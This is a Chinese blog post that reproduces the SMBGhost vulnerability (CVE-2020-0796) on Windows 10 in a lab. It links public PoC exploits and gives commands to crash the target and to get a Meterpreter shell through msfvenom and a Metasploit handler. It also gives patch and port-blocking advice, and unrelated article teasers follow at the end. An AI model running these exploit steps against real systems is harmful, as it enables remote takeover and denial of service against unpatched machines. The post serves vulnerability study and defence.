Win10永恒之黑CVE-2020-0796复现shell

鸣谢文章:

CVE-2020-0796(永恒之黑)漏洞利用getshell复现详细过程

影响版本:

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
只限于上面少数 win10版本

工具下载:

漏洞检测工具:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
攻击poc:https://github.com/eerykitty/CVE-2020-0796-PoC
shell脚本:https://github.com/chompie1337/SMBGhost_RCE_PoC
Windows靶机系统:https://msdn.itellyou.cn/

漏洞原理:

SMB远程代码执行漏洞
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

验证漏洞蓝屏攻击与漏洞利用

首先关闭Win Defender 防火墙,关闭自动更新 保证两台主机能够正常通信。
开始试验

使用POC进行蓝屏攻击

python3 CVE-2020-0796.py 192.168.3.130
image.png
攻击时即刻蓝屏关机
image.png

使用SMB协议获取shell

远程代码执行exp:https://github.com/chompie1337/SMBGhost_RCE_PoC
流程:首先,在kali中执行:

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -b '\x00' -i 1 -f python说明: #-p payload#-e 编码方式#-i 编码次数#-b 在生成的程序中避免出现的值#LHOST,LPORT 监听上线的主机IP和端口#-f exe 生成EXE格式#‘\x00‘转义字符,对应ascall码中为null,因为是二进制文件所以会出现,在python中作为结束的标志,有点相当于%00截断的感觉。


输出编码,把其中的编码内容全部复制,粘贴到exploit.py中USER_PAYLOAD区域中去,
注意,把buf替换成USER_PAYLOAD,保存
image.png
msf开启侦听端口

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 8888
set rhost 192.168.3.130
run

image.png
使用攻击exp,开始连接注入攻击代码
image.png

  • [-] physical read primitive failed!

不成功或者打重启 就多试10几次,概率问题。
image.png
msf监听到反弹shell
image.png

修复建议

  1. 微软已经发布了此漏洞的安全补丁,访问如下链接:
    https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
  2. 开启Defender防火墙更新最新版本的Win10系统。
  3. 设置防火墙策略关闭相关端口

SMB的TCP 445端口
NetBIOS名称解析的UDP 137端口
NetBIOS数据图服务的UDP 138端口
NetBIOS会话服务的TCP 139端口

免责声明

免责声明: 本文旨在分享技术复现的相关知识和信息,仅供教育、研究和合法的安全测试之用。使用者应知悉并同意,任何通过本文所提供的技术和信息进行的活动,需遵守适用的法律法规,并获得相关授权。 特此声明,本文作者或发布者不对使用本文所提供的任何技术和信息导致的任何直接或间接损失、损害或法律纠纷承担责任。使用者应对其自身行为负完全责任,并自行承担相关风险。 使用者在使用本文所提供的技术和信息之前,请确保已获得合适的合法授权,并遵守以下准则:

  1. 合法使用原则:在任何情况下,禁止利用本文所涉及的技术和信息从事非法、未授权的活动,包括但不限于黑客攻击、非法入侵、未经授权的系统访问、数据篡改或窃取等。使用者应尊重他人的隐私权和知识产权,并严守法律和道德规范。
  2. 授权原则:在进行任何测试、复原或演示攻击之前,确保已获得明确的合法授权。未经明确授权进行攻击或测试行为是违法的,一切后果由使用者自行承担。
  3. 风险责任原则:使用者应意识到黑客技术复现存在风险,并且可能导致系统崩溃、数据丢失、业务中断或其他潜在的损害。在执行任何技术操作之前,请备份重要数据,并自行承担一切风险和责任。
  4. 法律遵守原则:使用者应遵守适用的国家、地区或国际法律法规。在进行学习、实验和测试的过程中,绝不可涉及非法活动,包括但不限于窃取他人信息、破坏公共设施、恶意软件传播或侵犯知识产权等。

请在使用本文所提供技术和信息之前,务必充分理解并接受上述责任和准则。 此免责声明适用于本文提供的任何技术和信息,无论以何种方式传播或使用,使用者一旦进行相关活动即视为接受以上所有规定和责任。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/88713.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

React 全栈体系(三)

第二章 React面向组件编程 四、组件三大核心属性3: refs与事件处理 1. 效果 需求: 自定义组件, 功能说明如下: 点击按钮, 提示第一个输入框中的值当第2个输入框失去焦点时, 提示这个输入框中的值 2. 理解 组件内的标签可以定义ref属性来标识自己 3. 编码 3.1 字符串形式…

0829|C++day7 auto、lambda、C++数据类型转换、C++标准模板库(STL)、list、文件操作

一、思维导图 二、【试编程】将实例化类对象写入容器后,写入.txt文本中,再重新定义一个类容器,将.txt中的内容读取出来,输出到终端 封装一个学生的类,定义一个学生这样类的vector容器, 里面存放学生对象(至…

VSCode - 一键删除每行前面的行号数字

ctrl f 打开查找 输入正则表达式,并点击使用正则查找: 带点的:^\s*([0-9])\. 不带点:^\s*([0-9]) 综合起来:^\s*([0-9])[\.]* 替换为空格

Git企业开发控制理论和实操-从入门到深入(七)|企业级开发模型

前言 那么这里博主先安利一些干货满满的专栏了! 首先是博主的高质量博客的汇总,这个专栏里面的博客,都是博主最最用心写的一部分,干货满满,希望对大家有帮助。 高质量博客汇总 然后就是博主最近最花时间的一个专栏…

AI助力智能安检,基于图像目标检测实现危险品X光智能安全检测系统

基于AI相关的技术来对一些重复性的但是又比较重要的工作来做智能化助力是一个非常有潜力的场景,关于这方面的项目开发实践在我之前的文章中也有不少的实践,感兴趣的话可以自行移步阅读即可:《AI助力智能安检,基于目标检测模型实现…

ubuntu 22.04 LTS openai triton 安装

第一种方法: pip install triton 第二种方法,安装最新的版本: pip install -U --index-url https://aiinfra.pkgs.visualstudio.com/PublicPackages/_packaging/Triton-Nightly/pypi/simple/ triton-nightly 第三种方法: git c…

LeetCode 44题:通配符匹配

题目 给你一个输入字符串 (s) 和一个字符模式 (p) ,请你实现一个支持 ? 和 * 匹配规则的通配符匹配: ? 可以匹配任何单个字符。* 可以匹配任意字符序列(包括空字符序列)。 判定匹配成功的充要条件是:字符模式必须…

Mybatis查询数据

上一篇我们介绍了在pom文件中引入mybatis依赖,配置了mybatis配置文件,通过读取配置文件创建了会话工厂,使用会话工厂创建会话获取连接对象读取到了数据库的基本信息。 如果您需要对上面的内容进行了解,可以参考Mybatis引入与使用…

Unity 之 GameObject.Find()在场景中查找指定名称的游戏对象

文章目录 GameObject.Find 是 Unity 中的一个函数,用于在场景中查找指定名称的游戏对象。这个函数的主要作用是根据游戏对象的名称来查找并返回一个引用,使您能够在代码中操作该对象。以下是有关 GameObject.Find 的详细介绍: 函数签名&…

读书笔记——《万物有灵》

前言 上一本书是《走出荒野》,太平洋步道女王提到了这本书《万物有灵》,她同样是看一点撕一点的阅读。我想,在她穿越山河森林,听见鸟鸣溪流的旅行过程中,是不是看这本描写动物有如何聪明的书——《万物有灵》&#xf…

机器学习笔记之核函数再回首:Nadarya-Watson核回归python手写示例

机器学习笔记之核函数再回首——Nadaraya-Watson核回归手写示例 引言回顾: Nadaraya-Watson \text{Nadaraya-Watson} Nadaraya-Watson核回归通过核函数描述样本之间的关联关系使用 Softmax \text{Softmax} Softmax函数对权重进行划分将权重与相应标签执行加权运算 N…

MySQL 小数类型介绍

文章目录 前言1. 浮点类型1.1 数值精度说明1.2 整数超出范围1.3 小数超出范围1.4 精度误差说明 2. 定点类型2.1 数值精度说明2.2 整数超出范围2.3 小数超出范围 总结 前言 对于保证精度的数字,MySQL 也有对应的小数类型,下图是 MySQL 中小数类型概览。 …